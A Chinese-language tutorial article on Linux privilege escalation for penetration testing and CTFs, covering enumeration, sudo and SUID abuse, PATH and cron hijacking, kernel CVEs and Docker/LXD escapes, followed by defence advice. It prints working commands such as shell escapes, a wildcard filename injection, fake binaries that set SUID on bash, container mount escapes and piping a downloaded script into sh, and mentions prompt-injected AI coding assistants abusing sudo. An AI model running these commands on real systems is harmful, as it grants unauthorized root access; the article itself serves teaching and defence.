Linux提权全景解析:从低权Shell到RootShell的实战路径

导语:拿下低权Shell只是开始。渗透测试或CTF竞赛中,真正的分水岭在于能否将有限访问权限升级为root。2026年的Linux提权实战中,sudo配置错误、SUID二进制滥用、cron任务劫持仍是最高频入口,而容器逃逸则随着Docker/LXD的普及成为新兴热点。本文梳理从枚举到横向提权的完整攻击链,并给出对应的检测与防御思路。


一、枚举先行:摸清家底再动手

Linux提权攻击向量全景图

图片版权 华盟网

任何提权攻击都从枚举开始。攻击者需要快速回答三个问题:我是谁、我有什么可以用的、我该往哪走。

基础信息收集:

id && whoami && hostname          # 身份确认
uname -a && cat /etc/os-release  # 系统与内核版本
sudo -l                           # 当前用户可无密码执行的命令
env | grep -i path               # 环境变量

自动化工具可以将这个过程加速一个量级。LinPEAS(PEASS-ng套件)是目前最全面的Linux枚举脚本,彩色高亮关键发现:

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

linux-exploit-suggester 则专注于内核漏洞匹配,根据uname -r的输出推荐可用CVE:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh

枚举阶段的目标是建立一份优先级清单:高权限用户、可写服务配置、过期内核版本、内网 NFS 共享——这些就是提权的入口。


二、sudo滥用:最常见的入口

sudo配置错误长期是CTF和真实渗透中排名第一的提权路径。关键命令只有一个:

sudo -l

输出会列出当前用户可以sudo执行的命令。如果看到 NOPASSWD,直接 escalating。以下是高频可利用模式:

直接shell获取

sudo vim -c ':!/bin/bash'       # 进入vim后执行shell
sudo find . -exec /bin/bash ;  # find的-exec参数
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python3 -c 'import os; os.system("/bin/bash")'

GTFOBins(gtfobins.github.io)是每个渗透测试者的书签必备:它为每个可能被sudo调用的二进制提供了提权payload,覆盖tar、zip、less、perl、ruby等数十种工具。即便是/bin/bash本身,如果sudo允许不带-p参数运行,结果就是root shell。

值得特别关注的是sudo wildcard滥用。如果sudo允许的命令行包含通配符*,攻击者可构造文件名注入:

# sudo rsync * /tmp/
touch -- '--e sh /tmp/shell.sh'

三、SUID二进制:隐藏的root钥匙

SUID二进制以文件所有者(通常是root)的权限运行,不论谁执行它。找到所有SUID二进制是提权枚举的标准步骤:

find / -perm -u=s -type f 2>/dev/null
find / -type f ( -perm -4000 -o -perm -2000 ) 2>/dev/null

常见的可利用SUID包括:

二进制利用方式原理
/bin/bash -p/bin/bash -p-p保留有效UID而非降权
findfind . -exec /bin/bash -p ; -quitfind的-exec参数可绑定shell
vimvim -c ':py import os; os.execl(...)'vim支持Python接口调用系统命令
nmap(旧版)nmap --interactive!sh交互模式支持shell转义
pythonpython -c 'os.execl(...)'直接调用setuid syscall

更隐蔽的是PATH劫持:如果某个SUID二进制内部调用命令时没有使用绝对路径,攻击者可以将自己控制的目录前置到PATH中:

strings /usr/local/bin/backup   # 看到调用了'cp'无路径
echo '#!/bin/bash' > /tmp/cp
echo 'chmod +s /bin/bash' >> /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH
/usr/local/bin/backup           # 触发我们伪造的cp → 获得SUID bash

四、Cron任务与PATH注入:定时炸弹

Cron任务以root权限运行,如果脚本可写或调用的命令可劫持,就是天然提权路径。

cat /etc/crontab
ls -la /etc/cron.d/
crontab -l

pspy监控进程创建立即看到cron事件(无需root权限):

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64 && ./pspy64

PATH注入是cron提权的变种:当cron脚本中的命令没有绝对路径,且crontab的PATH变量可被影响时,在可写目录植入同名二进制即可触发。

# 监控输出看到root的cron调用了cleanup.sh
# 其中有一行: rm -rf /tmp/cache
# 而crontab PATH包含/tmp
echo 'chmod +s /bin/bash' > /tmp/rm
chmod +x /tmp/rm
# 等待cron触发,或主动修改脚本

五、内核漏洞:最后的大招

内核漏洞利用是”重武器”,成功率低、崩溃风险高,但在其他路径均失败时是最后选项。2026年仍有实战价值的经典漏洞:

PwnKit(CVE-2021-4034):pkexec本地提权,影响几乎所有Linux发行版。exploit公开且稳定,Polkit默认安装使其成为事实上的”万能钥匙”。

DirtyPipe(CVE-2022-0847):覆盖只读文件中的数据,Linux 5.8-5.16.11内核。适合通过覆盖suid二进制或/etc/passwd实现提权。

DirtyCow(CVE-2016-5195):经典写时复制竞态条件,虽然已有年头,但在未修补的嵌入式设备中仍可见。

内核漏洞的通用检测:uname -r输出后查CVE数据库,配合linux-exploit-suggester自动匹配。


六、容器逃逸:Docker/LXD的高线场景

随着容器化工作负载普及,容器逃逸成为提权的新战场。

Docker Socket滥用/var/run/docker.sock若可被低权用户访问,直接拥有docker CLI能力:

docker run -v /:/host -it alpine chroot /host
# 获得宿主机的root shell

LXD/LXD组:将主机目录挂载进容器,或使用LXD privileged模式,逃逸后即root。

lxc image import images.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt recursive=true
lxc start mycontainer
# 在容器内chroot /mnt获得root

NFS no_root_squash:如果目标主机的NFS共享配置了no_root_squash,在客户端以root创建的文件在服务端也保持root身份,可直接写入SUID二进制或修改cron脚本。


七、防御与检测:红队视角的防守建议

防守的核心在于”最小权限”原则的真正落地,而非形式上的配置。

Linux提权枚举与利用流程

图片版权 华盟网

sudo配置审计:定期运行sudo -l检查所有用户的sudo权限,使用sudoers规范管理而非直接修改/etc/sudoers.d/下的宽松配置。理想状态:除运维账户外无任何用户可无密码sudo。

SUID二进制清单化:建立允许的SUID二进制白名单,任何新增SUID文件触发告警。find / -perm -4000 -type f 2>/dev/null的输出应与CMDB中的已知基线对比。

cron任务完整性监控:用AIDE或类似工具监控/etc/cron.d//etc/cron.daily/等目录的变更。引入新cron脚本或修改现有脚本脚本应进入变更审批流程。

内核版本管理:Red Hat/Ubuntu的自动安全更新应当开启。对于不可轻易重启的内核,生产环境应使用Live Patch服务(kpatch/ksplice)实现热修复。

容器安全基线:禁止挂载Docker Socket给非特权用户;LXD/Docker容器应使用非privileged模式运行;严格限制--cap-add--privileged标志;网络策略限制容器的出站流量。


八、验证方法:如何确认防御有效性

防守方可用以下方式自测:

使用LinPEAS模拟攻击者视角:将其上传到测试主机后以低权用户身份运行,观察输出的红色高亮项目,这些就是最直接的攻击面。

在SIEM中搜索异常sudo调用:任何非运维账户的sudo -l或sudo命令执行都是可疑信号——合法用户通常知道自己被允许用什么。


九、2026年趋势:提权战场的新常态

近年来有两个结构性变化在重塑Linux提权格局。

容器和K8s的普及让”root vs container-root”的边界变得模糊。许多渗透测试现在以container root为起点,逃逸技术从边缘变为主流。

AI代码助手在企业内部部署增加,使得开发者工作站上的sudo权限配置变得更加宽松——一个被植入恶意提示词的代码助手可能直接利用这些权限扩大攻击面。这不是传统意义上的软件漏洞,而是人机协作新范式带来的新攻击面。

下一步建议:将LinPEAS的自动化输出纳入渗透测试报告的”高风险发现”章节;防守方在资产清点时务必将容器编排系统的权限配置纳入审计范围。

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容